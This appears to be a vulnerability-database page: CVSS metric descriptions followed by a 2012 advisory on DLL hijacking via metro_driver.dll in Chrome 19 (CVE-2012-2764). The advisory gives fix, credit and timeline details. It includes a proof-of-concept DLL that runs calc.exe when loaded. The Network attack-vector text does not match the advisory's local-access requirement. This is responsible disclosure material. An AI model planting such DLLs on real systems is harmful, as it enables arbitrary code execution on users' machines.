The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Security Advisory - Google Chrome 19 metro_driver.dll mishandling
======
Summary : Google Chrome 19 is prone to unqualified DLL loading
Date : 28 June 2012
Affected versions : Google Chrome v19.0.1084.21 up-to v20.0.1132.23
ID : chromium#130276
CVE reference : CVE-2012-2764
Details
================
Google Chrome developers, while trying to be adaptive and current, added some
windows 8 helper functions to aid the development of Metro style behaviour,
but does not include the library file itself, thus resulting in an unqualified
dynamic-link library call to 'metro_driver.dll'.
A user with local disk access can carefuly construct a DLL that suits the
pattern that is being traversed by the client and implement it somewhere along
the search path and the client will load it seamlessly.
Impact
================
After the DLL has been implemented, an unsuspected user that will run Chrome
will cause it to load, resulting in arbitrary code execution under user's
privilege level.
This vector of attack is mainly used in a local privilege escalation scenarios,
user credential harvesting and can be used by malware to disguise itself,
amongst other uses.
Proof of Concept
================
#include <windows.h>
int hijack_poc ()
{
WinExec ( "calc.exe" , SW_NORMAL );
return 0 ;
}
BOOL WINAPI DllMain
(HINSTANCE hinstDLL ,
DWORD dwReason ,
LPVOID lpvReserved )
{
hijack_poc () ;
return 0 ;
}
Solution
================
Google Chrome 20.0.1132.43 resolves the issue.
Credits
================
The issue was responsibly reported by Moshe Zioni from Comsec Global Consulting.
Timeline
=================
26 June 2012
Google officialy announce Google Chrome 20 stable, fix included
1 June 2012
Code reverted - Revision 139975 takes place
30 May 2012
First response from a Google code maintainer
30 May 2012
Bug reported by Moshe Zioni from Comsec Global Consulting
References
=================
Google Chrome
http://www.google.com/chrome
Revision details
http://src.chromium.org/viewvc/chrome?view=rev&revision=139975
Comsec Global Consulting
http://www.comsecglobal.com/
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